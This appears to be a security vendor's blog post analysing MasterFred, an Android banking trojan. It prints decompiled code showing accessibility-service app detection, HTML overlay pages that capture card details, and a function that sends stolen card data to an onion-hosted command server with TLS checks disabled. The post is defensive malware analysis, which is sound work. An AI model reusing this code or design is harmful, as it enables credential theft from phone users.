Application Details
Name: MasterFred
Package Name: mlab.sert.fr
SHA-256 Hash: ce0f20f0c1283fd0e29a5b6a4bd2a44c6a1968b0e7553386bf1e7c88ffce5427
Introduction
Welcome to the next phase of our Mobile Malware Analysis series. In this sequel, we dive into the enigmatic maneuvers of MasterFred, a notorious malware exploiting Android Accessibility services for its nefarious objectives. Beyond financial breaches, MasterFred infiltrates social networks and vital services. Hidden HTML overlays, crafty login pages, and a labyrinth of stratagems await within its digital arsenal. Join us as we unravel the cryptic mechanics behind MasterFred’s intrigue and fortify yourself against cutting-edge digital threats. Let’s get started.
Analysis
Let’s begin analyzing the apk using jadx-gui to get an idea of what the Android malware is doing once installed on the victim’s device. AndroidManifest.xml reveals the different components and permissions this application has.
Permissions
These 2 permissions raise suspicions as they are categorized as dangerous permissions
android.permission.READ_PHONE_STATE → allows read-only access to the phone state, including the phone number of the device, current cellular network information, and much more.
android.permission.SYSTEM_ALERT_WINDOW → It can allow an app to be displayed on top of another app, obscuring the lower-level app
We can see the app also has Internet permission which suggests the app is communicating with an endpoint.
Let’s check the Manifest file to understand the different components present in this app.
Components
We can see there are some interesting components defined like an Accessibility Service, Notification Listener Service, an Overlay Service along with a few activities (including a MainActivity)
Source Code Analysis
Let’s start out code analysis from the MainActivity
MainActivity.java
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
WebView webView = (WebView) findViewById(R.id.web_view);
this.n = webView;
webView.getSettings().setJavaScriptEnabled(true);
this.n.setWebViewClient(new a());
this.n.loadUrl("https://m.mingle2.com/");
final Context applicationContext = getApplicationContext();
new Thread(new Runnable() { // from class: c.a.a.a
@Override // java.lang.Runnable
public final void run() {
Activity activity = this;
Context context = applicationContext;
activity.getApplicationContext();
new Handler(Looper.getMainLooper()).post(new h(activity, context));
}
}).start();
}
We can see there is a WebView defined in this activity that loads the url https://m.mingle2.com/
Let us turn our attention to the MyAccessibility class, since in many malware Accessibility Services are abused to perform illegal actions.
MyAccessibility.java
As discussed in the previous article, we understand the code execution of an accessibility class starts from onAccessibilityEvent()
.
....
ComponentName componentName = null;
try {
componentName = new ComponentName(accessibilityEvent.getPackageName().toString(), accessibilityEvent.getClassName().toString());
} catch (Exception unused) {
}
try {
accessibilityEvent.getPackageName().toString();
accessibilityEvent.getPackageName().toString().toLowerCase();
StringBuilder sb = new StringBuilder();
for (CharSequence charSequence : accessibilityEvent.getText()) {
sb.append(charSequence);
}
sb.toString().toLowerCase();
accessibilityEvent.getClassName().toString().toLowerCase();
str = e(this).toLowerCase();
} catch (Exception unused2) {
str = BuildConfig.FLAVOR;
}
....
We can see that the service is getting the component name of the application that is currently running.
....
String packageName = componentName.getPackageName();
if (!PreferenceManager.getDefaultSharedPreferences(applicationContext).getBoolean(i.a("ODQxOTIxNjE6OjpU4aOh9gU="), false) && **a(this, i.a("MzMxMTQ0MTY6OjqcHkW7"), i.j(packageName))**) {
**Intent intent = new Intent(this, ActivityWeb.class);**
**Bundle bundle = new Bundle();
bundle.putString(i.a("NTgzNzYxMzY6OjoVwPg="), i.j(packageName));
bundle.putString(i.a("ODc4NjY2ODU6OjotlwW4"), i.a("NzUzODE1ODQ6OjqTtA=="));
intent.putExtras(bundle);
intent.addFlags(268435456);
startActivity(intent);**
}
SharedPreferences defaultSharedPreferences = PreferenceManager.getDefaultSharedPreferences(applicationContext);
if (!defaultSharedPreferences.getBoolean(i.a("OTg2ODIzODg6OjrORrOm") + packageName, false) && **a(applicationContext, i.a("NTM5NTQxNjk6OjoUiR53"), i.j(packageName))**) {
**Intent intent2 = new Intent(this, ActivityWeb.class);
Bundle bundle2 = new Bundle();
bundle2.putString(i.a("MzIyNjQ5OTQ6OjoakNg="), i.j(packageName));
bundle2.putString(i.a("ODk4MjY3Mzk6OjqjNEpN"), i.a("MTc5NTIzNDY6OjrnyWIWXPg="));
intent2.putExtras(bundle2);
intent2.addFlags(268435456);
startActivity(intent2);**
}
....
We can also see some obfuscated strings in this function that are being passed to a(). Lets check it out.
public static String a(String str) {
try {
byte[] decode = Base64.decode(str, 0);
if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
return str;
}
SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
Cipher cipher = Cipher.getInstance("RC4");
cipher.init(2, secretKeySpec);
return new String(cipher.doFinal(decode, 11, decode.length - 11));
} catch (Exception unused) {
return str;
}
}
We can see that this function decodes RC4 Encrypted strings, and this function has been used in many instances in this application.
Here is the link to the decryption code using which we will be decrypting the strings.
Decrypted Strings printed in Console.
Moving on, Let’s focus on this line of code.
a(this, i.a("MzMxMTQ0MTY6OjqcHkW7"), i.j(packageName))
=======================================================
//Inner function a()
public static String a(String str) {
try {
byte[] decode = Base64.decode(str, 0);
if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
return str;
}
SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
Cipher cipher = Cipher.getInstance("RC4");
cipher.init(2, secretKeySpec);
return new String(cipher.doFinal(decode, 11, decode.length - 11));
} catch (Exception unused) {
return str;
}
}
//function j()
public static String j(String str) {
try {
MessageDigest messageDigest = MessageDigest.getInstance(a("NjkxNDU1NTQ6OjrtLJ8="));
messageDigest.update(str.getBytes());
byte[] digest = messageDigest.digest();
StringBuilder sb = new StringBuilder();
for (byte b2 : digest) {
String hexString = Integer.toHexString(b2 & 255);
while (hexString.length() < 2) {
hexString = a("MzE5MjI2MTM6Ojqo") + hexString;
}
sb.append(hexString);
}
return sb.toString();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return BuildConfig.FLAVOR;
}
}
By passing "MzMxMTQ0MTY6OjqcHkW7"
to function a() it comes out as html
and we can see that function j() gets the md5
hash value of the package names.
Now let’s check the function a() that takes both these values.
public static boolean a(Context context, String str, String str2) {
AssetManager assets = context.getResources().getAssets();
try {
assets.open(str + i.a("Njg1ODY3ODg6OjpE") + str2 + i.a("MjQ4NzE0MTM6Ojox8PjMqleF+1h9Vg=="));
return true;
} catch (IOException e2) {
e2.printStackTrace();
return false;
}
}
Aha…. This looks interesting.
Basically, this function checks whether index.html for the particular package name exists in the HTML directory in the assets
directory.
Let’s see one of these index.html
to see what they display.
Yesss. We hit the jackpot. The purpose of these HTML files is to steal credit card details from the user. Now try to find out what they do with these details.
If we continue to check the other part of the if-else code that we started earlier, we can see that in the other part, they are checking whether the index.html
file that lies within the directory whose name is the same as MD5 hash of the package name is present in the iapk
directory.
But in both of these conditions, they are creating an intent to start ActivityWeb
class.
ActivityWeb.java
public void onCreate(Bundle bundle) {
String str;
super.onCreate(bundle);
setContentView(R.layout.activity_web);
if (r() != null) {
r().c();
}
if (getActionBar() != null) {
getActionBar().hide();
}
try {
Bundle extras = getIntent().getExtras();
this.mw_var_pkg = extras.getString(i.a("NDYyNzEyOTU6OjpqMhM="));
this.mw_var_type = extras.getString(i.a("Nzc2MjYxNzY6OjrxzEWT"));
WebView webView = (WebView) findViewById(R.id.web_view);
this.n = webView;
webView.setClickable(true);
WebSettings settings = this.n.getSettings();
settings.setJavaScriptEnabled(true);
settings.setDomStorageEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
settings.setAllowFileAccess(true);
settings.setDefaultTextEncodingName(i.a("NzI5ODMxOTY6Ojrkh6gdqQ=="));
settings.setUseWideViewPort(false);
settings.setLoadWithOverviewMode(true);
settings.setCacheMode(1);
settings.setAllowUniversalAccessFromFileURLs(true);
this.n.setWebViewClient(new b(this, null));
this.n.addJavascriptInterface(new c(this), i.a("NzU4MTgxODk6Ojpgk8ur6Jha"));
if (this.mw_var_type.equals(i.a("MTQzMjQ0MTU6OjoOcrsGLoM="))) {
this.n.loadUrl(extras.getString(i.a("MTIzNjk4NzI6OjqhG4g=")));
return;
}
String aa = this.mw_var_type.equals(i.a("ODM1MzI4NDY6OjoM1A==")) ? i.a("ODk5MjYyODQ6Ojr1osM1") : BuildConfig.FLAVOR;
if (this.mw_var_type.equals(i.a("Njk1MjY1NDg6OjqysRkC8zk="))) {
aa = i.a("NTc3MzE0MTU6OjopKTm2");
}
WebView webView2 = this.n;
String str2 = i.a("NTU5MTczMjk6Ojq8tGqXEsiT+WtudrrnvcSuaufohPRZwg==") + aa + i.aa("MTI2NjIyNjg6OjpW") + this.mw_var_pkg + i.a("NjU2MjQ1Mjk6Ojqr");
**try {
InputStream open = getApplicationContext().getAssets().open(aa + i.a("NTg1MzQ0NjM6OjrJ") + this.mw_var_pkg + i.a("MTI4Nzc2ODg6Ojr4ekz1IkZDAls/HA=="));
byte[] bArr = new byte[open.available()];
open.read(bArr);
open.close();
str = new String(bArr, i.a("OTEyNzQ3NTc6Ojr0NxSDgw=="));
} catch (IOException e) {
e.printStackTrace();
str = BuildConfig.FLAVOR;
}
webView2.loadDataWithBaseURL(str2, str, i.a("NzQ0MzE0MjU6OjriUSTAMXJ2XiE="), i.a("MTIxMjk2MzU6Ojo3+SGqjA=="), null);**
} catch (Exception unused) {
finish();
}
}
If we look at this code, we can see that a file is being read from the Assets
directory. Based on the code we saw as MyAccessibility
class, we can figure out how this malware works
Get the Package Name of the application that is currently running ->
Get the package name -> Get the MD5 hash of the package name ->
Check whether index.html file exists within either /assets// ->
If exists, load the html file -> Steal personal details from the user
If we go through this class, we can see a function named returnResult
that has the @Javascript Interface
annotation.
@JavascriptInterface
public void returnResult(String str) {
if (str.length() > 0) {
Context applicationContext = ActivityWeb.this.getApplicationContext();
ActivityPreInstall.mw_editSharedPrefs1(applicationContext, ActivityPreInstall.z(applicationContext));
if (ActivityWeb.xx.equals(i.a("Njk5NjMyMjE6Ojq9Ag=="))) {
String a = i.a("Mzc5MzU4MTE6OjrTcKYDYhlvLGWXOrMI3o7tM1IM");
try {
JSONObject jSONObject = new JSONObject(str);
JSONObject jSONObject2 = new JSONObject();
jSONObject2.put(i.a("NTE1NzMzMjc6OjotvBw="), ActivityPreInstall.y(applicationContext));
jSONObject2.put(i.a("OTI1MzI0MTM6Ojp7gq0="), jSONObject.getString(i.a("NzYxNjk3Njc6OjoXVTvQ5Q==")));
jSONObject2.put(i.a("MTk0NjY4NjQ6OjrzH4Hr"), jSONObject.getString(i.a("ODk5OTY0NTM6Ojov4sA=")).replace(" ", BuildConfig.FLAVOR));
jSONObject2.put(i.a("NDIxNDk2MTY6Ojr+Dt3iQQ=="), jSONObject.getString(i.a("ODU5NDM4NjI6OjppZ0L1")).split(i.a("MTczODk5ODU6OjqQKJQ="))[0]);
jSONObject2.put(i.a("NTU1NTM1NDc6OjoWs1kt"), jSONObject.getString(i.a("MTQ4NTE4NTM6OjrxzxhW")).split(i.a("MjM4NzM0MTc6Ojp9KA4="))[1]);
jSONObject2.put(i.a("MzYxMjMyNTM6OjqYMVI="), jSONObject.getString(i.a("NDc5MzcxMzI6OjrvR2za")));
jSONObject2.put(i.a("NTc2MTk0ODE6OjryEDEy4iH0xA=="), jSONObject.getString(i.a("MzQ2MzQ1Nzk6Ojr6THEUiLZ8pA==")));
jSONObject2.put(i.a("MjQyNzU2MjI6Ojr081G3"), jSONObject.getString(i.a("MzcxNTUzNjk6OjpqpQBb")));
jSONObject2.put(i.a("NzgyMzYxNjQ6OjomsVc="), jSONObject.getString(i.a("OTg3ODk0MjE6OjoMid4=")));
jSONObject2.put(i.a("Mjk2NTExMzM6OjofgMU="), jSONObject.getString(i.a("NjM3MjI5MzU6OjplYG8=")));
jSONObject2.put(i.a("ODQyNzcyNDM6OjrQ25o="), jSONObject.getString(i.a("OTU3MTk0Mjg6OjqHNRY=")));
if (ActivityPreInstall.z(applicationContext).length() > 0 && ActivityPreInstall.A(applicationContext)) {
**d.w(a, jSONObject2);**
SharedPreferences.Editor edit = PreferenceManager.getDefaultSharedPreferences(applicationContext).edit();
edit.putBoolean(i.a("NTY5Mjk0NzQ6Ojrcs+TWHnM="), true);
edit.commit();
}
} catch (Exception unused) {
ActivityWeb.this.finish();
}
}
if (ActivityWeb.xx.equals(i.a("OTE1OTgzMTM6Ojp0ggYfYGY="))) {
String a2 = i.a("MjY4MTI0ODM6Ojr3rDmiz/B2bys2zgVIE+1XrB+kzlul");
try {
JSONObject jSONObject3 = new JSONObject();
jSONObject3.put(i.a("NjE2NzI3NDE6OjpV0HI="), ActivityPreInstall.y(applicationContext));
jSONObject3.put(i.a("NzQ4NDg0MjE6Ojplk/s="), ActivityWeb.yy);
jSONObject3.put(i.a("MjE5OTQzNzc6Ojr8OeyC"), str);
if (ActivityPreInstall.z(applicationContext).length() > 0 && ActivityPreInstall.A(applicationContext)) {
**d.w(a2, jSONObject3);**
String str2 = ActivityWeb.yy;
SharedPreferences.Editor edit2 = PreferenceManager.getDefaultSharedPreferences(applicationContext).edit();
edit2.putBoolean(i.a("NzUxNzY5NzU6OjrBcwcU") + str2, true);
edit2.commit();
}
} catch (Exception unused2) {
ActivityWeb.this.finish();
}
}
ActivityWeb.this.finish();
}
ActivityWeb.this.finish();
}
}
Now many of our readers will think what’s so special about this annotation.
According to the official Android Documentation for WebView, methods that are explicitly marked with this annotation are available to be called in JavaScript code.
If we also check the html files, we can see that this function is being called.
function finish__(el) {
var data__ = $('form').custom_ser();
data__.exit = ""
console.log(data__);
Android.returnResult(JSON.stringify(data__))
}
Now what is this Android
object??
If we check onCreate()
method of ActivityWeb class, we can see this line of code
this.n.addJavascriptInterface(new c(this), i.a("NzU4MTgxODk6Ojpgk8ur6Jha"));
Basically, the WebView has a JavaScript Interface which means a JavaScript code can access a function that is being annotated with @Javascript Interface
using the string value being passed as the second parameter.
Decoded value of a("NzU4MTgxODk6Ojpgk8ur6Jha")
is Android
Let’s check what is happening inside returnResult()
.
Looking inside the first if condition, we can see many encrypted strings. If we decode them, we can see strings like name, card, address, cc, and CVV number (things that are related to Credit Card) are being stored in a JSONObject and being passed to function w()
Looking into the code of function w()
public static String w(String str, JSONObject jSONObject) {
String next;
String str2 = BuildConfig.FLAVOR;
String a = i.a("MjY2NTM2NjY6OjpHoz+E");
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
try {
URL url = new URL(i.a("OTI4MTg1NzQ6OjrgUScojFEVlQ==") + l() + str);
Iterator keys = jSONObject.keys();
String str3 = BuildConfig.FLAVOR;
while (keys.hasNext()) {
str3 = str3 + ((Object) next) + i.a("MjgxODQ3ODQ6Ojpt") + jSONObject.get(keys.next().toString()) + i.a("MzcxMjg3ODU6Ojpb");
}
TrustManager[] trustManagerArr = {new c.a.a.d()};
SSLContext sSLContext = SSLContext.getInstance(i.a("MzU3NDI5MjQ6OjqHp/g="));
sSLContext.init(null, trustManagerArr, new SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sSLContext.getSocketFactory());
HttpsURLConnection.setDefaultHostnameVerifier(new c.a.a.e());
HttpsURLConnection httpsURLConnection = (HttpsURLConnection) url.openConnection();
httpsURLConnection.setRequestMethod(a);
httpsURLConnection.setConnectTimeout(5000);
httpsURLConnection.setDoOutput(true);
httpsURLConnection.setRequestProperty(i.a("ODYyMzE3NDk6OjosV+pXgySqYj/lnvA="), i.a("OTE0OTM0ODQ6Ojr6MN6i8ZpqNrN8W6dvFW3jkyOKZYMq/1ROsHEb19f605c="));
OutputStream outputStream = httpsURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, i.a("NjE0OTk0Mjk6OjrvrMMaDQ==")));
bufferedWriter.write(str3);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
if (httpsURLConnection.getResponseCode() == 200) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpsURLConnection.getInputStream()));
while (true) {
String readLine = bufferedReader.readLine();
if (readLine == null) {
break;
}
str2 = str2 + readLine;
}
}
} catch (Exception e) {
e.printStackTrace();
}
return str2;
}
Finally, we can see that our data is being sent to the C2C Server along with our credit card details.
If we focus on this line URL url = new URL(i.a("OTI4MTg1NzQ6OjrgUScojFEVlQ==") + l() + str);
we can get the C2C server URL where all of our details are being sent.
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Main {
public static void main(String[] args) {
System.out.println("URL:" + a("OTI4MTg1NzQ6OjrgUScojFEVlQ==")+l());
}
public static String l() {
a("MzY2NzgzNzE6OjoaY78=");
return a("MTM3NDg5ODg6OjomOEYwUxrVq6b93C8Iww+seZ+l2NVKm+t1jONVAezz2cDE4CyeT5KNYRO0FrzASUVAFVipeIvhKDn8i0xCHLk/9Q==");
}
public static String a(String str) {
try {
byte[] decode = Base64.getDecoder().decode(str);
if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
return str;
}
SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
Cipher cipher = Cipher.getInstance("RC4");
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
return new String(cipher.doFinal(decode, 11, decode.length - 11));
} catch (Exception unused) {
return str;
}
}
}
The URL corresponds to a Tor Website → https://qjvpp2shgqyhcfdvtcpe3w4c4ngigwbcufdtmqokbbs23wymgervjtqd.onion.ws/[REDACTED]
Now a question might arise in our minds
How are these HTML pages able to be rendered on top of the application?
The answer to this question is due to the permission <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
and a service named OverlayService
//Overlay Service.java
public class OverlayService extends Service {
/* renamed from: a reason: collision with root package name */
public WindowManager f962a;
/* renamed from: b reason: collision with root package name */
public View f963b;
@Override // android.app.Service
public IBinder onBind(Intent intent) {
return null;
}
@Override // android.app.Service
public void onCreate() {
super.onCreate();
WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-1, -1, 2038, 56, -3);
this.f963b = LayoutInflater.from(this).inflate(R.layout.activity_overlay, (ViewGroup) null);
WindowManager windowManager = (WindowManager) getSystemService("window");
this.f962a = windowManager;
windowManager.addView(this.f963b, layoutParams);
}
@Override // android.app.Service
public int onStartCommand(Intent intent, int i, int i2) {
if (intent.getBooleanExtra("stop", false)) {
this.f962a.removeView(this.f963b);
stopSelf();
}
return super.onStartCommand(intent, i, i2);
}
}
Basically, our app requests the user for this permission. Once the user has granted this permission, this malicious application loads the corresponding HTML pages in our device.
Now another question might arise. How does this malicious application know what is happening in our activity?
This is also done because of the Accessibility Service that is running behind the scenes.
public static void g(AccessibilityNodeInfo accessibilityNodeInfo, int i2) {
if (accessibilityNodeInfo == null) {
return;
}
String str = BuildConfig.FLAVOR;
for (int i3 = 0; i3 < i2; i3++) {
str = b.a.a.a.a.b(str, " ");
}
StringBuilder d2 = b.a.a.a.a.d(str);
d2.append(i.a("NDU3Njc5MzU6OjqbA1mL"));
d2.append(accessibilityNodeInfo.getWindowId());
d2.append(i.a("NjM0NTc5MjE6OjpPWqyi"));
d2.append(accessibilityNodeInfo.getViewIdResourceName());
d2.append(i.a("Mjg1MjUxMjU6Ojo28quV"));
d2.append((Object) accessibilityNodeInfo.getClassName());
d2.append(i.a("Mzg1MTM3NjM6Ojo2iOYiHfXp"));
d2.append((Object) accessibilityNodeInfo.getText());
d2.append(" ");
d2.append(i.a("MTIzMTU0MjM6OjqnHnmlG+lvKGfV6JGSHJH4VAKh7+B8"));
d2.append((Object) accessibilityNodeInfo.getContentDescription());
Log.v("===", d2.toString());
for (int i4 = 0; i4 < accessibilityNodeInfo.getChildCount(); i4++) {
g(accessibilityNodeInfo.getChild(i4), i2 + 1);
}
}
public static void h(AccessibilityNodeInfo accessibilityNodeInfo, int i2) {
if (accessibilityNodeInfo == null) {
return;
}
String str = BuildConfig.FLAVOR;
for (int i3 = 0; i3 < i2; i3++) {
str = b.a.a.a.a.b(str, " ");
}
StringBuilder d2 = b.a.a.a.a.d(str);
d2.append(i.a("MzI4NDE3ODU6OjptACXF"));
d2.append(accessibilityNodeInfo.getWindowId());
d2.append(i.a("NzY4NTk5OTQ6OjouYal5"));
d2.append(accessibilityNodeInfo.getViewIdResourceName());
d2.append(i.a("ODQyMzY3NjM6OjrODKND"));
d2.append((Object) accessibilityNodeInfo.getClassName());
d2.append(i.a("MzE1MTc2NjE6OjoSGJRBHw9n"));
d2.append((Object) accessibilityNodeInfo.getText());
d2.append(" ");
d2.append(i.a("MzU0OTUyMjU6Ojp9zd3eKVzgNY6PaneDTjFyUWcUkQnv"));
d2.append((Object) accessibilityNodeInfo.getContentDescription());
Log.d("===", d2.toString());
for (int i4 = 0; i4 < accessibilityNodeInfo.getChildCount(); i4++) {
h(accessibilityNodeInfo.getChild(i4), i2 + 1);
}
}
If we look into these functions they are collecting information like Window ID, Class Name, Texts, Content Description, and much more. To get a clear idea of this, check the logs using the command
adb logcat -s "==="
We can confirm that the text present on the screen and other information is present in the logs, and this is what is used by the application to check what is happening in the device and act accordingly.
Here is the list of apps targeted by this malware.
App Name | MD5 Hash |
---|---|
0b2fce7a16bf2b728d6ffa28c8d60efb | |
Snapchat | a63b0f8076346d26cbdc1b971a1da2a7 |
Skype app | b1f7bbf91b565db9420d418963bac8aa |
Google Play | b5a5c5cb02ca09c784c5d88160e2ec24 |
Santander mobile | 50880dff23ad00092d76765322e72df8 |
PeoPay | fa26b212d22d637c030a270eeba0f202 |
BNP Paribas GOMobile | a307cb31fbcbf314b81c4109bb897fd3 |
PKO Bank Polski | 397aeab5db5b8d9d45214f256f7e4184 |
Conclusion
In this blog, we’ve encountered a digital threat that’s adapting fast. Using Android Accessibility services, MasterFred breaches privacy, stealing data, and invading networks. From financial info to social accounts, its skills are impressive. Hidden HTML overlays and tricky logins are just part of its arsenal. It can even adapt based on what you’re doing and what application is running. Plus, it secretly sends our info to a mysterious Onion URL acting as a hidden command center. Learning about MasterFred reminds us to stay cautious and informed. With this knowledge, we’re better prepared to defend against these advanced digital dangers.
Looking to elevate your expertise in Android Security?
Offensive Android Internals Training
365 Days of Access | Hands-On Learning | Self-Paced Training
GET IN TOUCH
Visit our training page if you’re interested in learning more about these techniques and developing your abilities further. Additionally, you may look through our Events page and sign up for our upcoming Public trainings.
Check out our Certifications Program and get Certified today.
Please don’t hesitate to reach out to us through out Contact Us page or through the Button below if you have any questions or need assistance with Penetration Testing or any other Security-related Services. We will answer in a timely manner within 1 business day.
We are always looking for talented people to join our team. Visit out Careers page to look at the available roles. We would love to hear from you.